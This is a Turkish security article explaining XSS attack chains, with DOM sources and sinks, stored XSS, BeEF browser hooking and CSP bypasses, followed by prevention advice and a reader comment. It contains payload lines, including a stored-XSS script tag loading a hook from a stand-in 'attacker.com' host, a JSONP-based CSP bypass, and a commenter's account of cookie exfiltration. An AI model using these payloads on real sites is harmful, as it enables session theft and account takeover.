Siber Alem / Detail / 231 / Xss-ten-hesap-ele-gecirmeye-dom-tabanli-ve-stored-xss-saldiri-zinciri
technical_article_reader.sh
TECHNICAL PAPER / papers

XSS'ten Hesap Ele Geçirmeye: DOM Tabanlı ve Stored XSS Saldırı Zinciri

2026-07-21
3 min read (429 words)
2 views

Araştırma Kategorisi • Web Uygulama Güvenliği

XSS'ten Hesap Ele Geçirmeye: DOM Tabanlı ve Stored XSS Saldırı Zinciri

Cross-Site Scripting (XSS), hedefin tarayıcısında JavaScript çalıştırmanın ötesinde; çerez hırsızlığı, keylogger kurma, tarayıcı kamerasına erişim ve tam hesap ele geçirme gibi zincirlenmiş saldırıların başlangıç noktasıdır. Bu makalede üç XSS türünü, gerçek bir saldırı senaryosunu ve CSP bypass yöntemlerini inceliyoruz.

1. Üç XSS Türü Arasındaki Kritik Farklar

Tür Kalıcılık Konum Hedef Sayısı
ReflectedGeçiciURL parametresiLinke tıklayan kişi
StoredKalıcı (DB)Yorum/profil/mesajSayfayı ziyaret eden herkes
DOM-BasedGeçiciTarayıcı DOM'uLinke tıklayan kişi

2. DOM-Based XSS: Sunucu Taraflı Hiçbir İz Bırakmaz

DOM-Based XSS'te zararlı kod sunucuya hiç ulaşmaz. Tarayıcının kendi JavaScript'i kullanıcı verisini güvenli olmayan kaynaklardan (Source) alıp güvenli olmayan fonksiyonlara (Sink) aktarır.

Tehlikeli Kaynaklar (Sources)

document.location.href location.search document.referrer

Tehlikeli Hedefler (Sinks)

element.innerHTML document.write() eval()
// Zafiyetli JavaScript kodu
var search = location.search.substring(1);
document.getElementById('result').innerHTML = 'Aranan: ' + search;

// Saldırı URL'si
https://site.com/search?<img src=x

3. BeEF ile Tarayıcı Sömürüsü (Browser Exploitation Framework)

BeEF, XSS ile kurbanın tarayıcısını hook ederek komuta-kontrol sunucusuna bağlar. Çerez çalmak, keylogger kurmak, form phishing göstermek, ağ içi port taraması yapmak mümkün hale gelir.

// Stored XSS alana enjekte edilen BeEF hook
<script src="http://attacker.com:3000/hook.js"></script>

// Zararlı yorum kaydedildiğinde sayfayı ziyaret eden
// HER kullanıcı BeEF paneline düşer.

4. Content Security Policy (CSP) ve Bypass Teknikleri

CSP, hangi kaynakların script yükleyebileceğini belirten bir HTTP başlığıdır. Ancak yanlış yapılandırılmış CSP'ler bypass edilebilir.

# Zayıf CSP örneği — unsafe-inline ve CDN'e izin var
Content-Security-Policy: script-src 'self' 'unsafe-inline' https://cdn.jquery.com

# Bypass: jQuery CDN üzerindeki JSONP endpoint'i kullan
<script src="https://cdn.jquery.com/jsonp?callback=alert"></script>

Güvenli CSP; nonce veya hash tabanlı olmalı, unsafe-inline ve unsafe-eval içermemeli, wildcard (*) kullanılmamalıdır.

5. Önleme Stratejileri

  • Tüm kullanıcı çıktıları için context-aware output encoding kullanın (HTML, JavaScript, URL, CSS bağlamına göre).
  • innerHTML yerine textContent kullanın.
  • Çerezlere HttpOnly ve Secure bayrakları ekleyin.
  • Nonce tabanlı sıkı bir CSP politikası uygulayın.

Makale Tartışmaları (1)

The:Paradox
USER
Rank: Script Kiddie
Posts: 8
Rep: 0
Joined: 2009-01
Rep Progress 0 / 500
2026-07-21 21:07:27 #1

Stored XSS bölümünü okuyunca Markdown render eden bir CMS'te bulduğum zafiyeti hatırladım. Backtick ile çevrili HTML kabul ediliyordu ve onerror event handler'ı filtrelemiyordu. Burp Collaborator ile cookie'yi exfil ettim. Bu tür saldırılarda DOM Invader eklentisi gerçekten hayat kurtarıyor.

Yorum Yapmak İçin Giriş Yapın

Bu makaleye yorum yazmak ve tartışmaya katılmak için giriş yapmalısınız.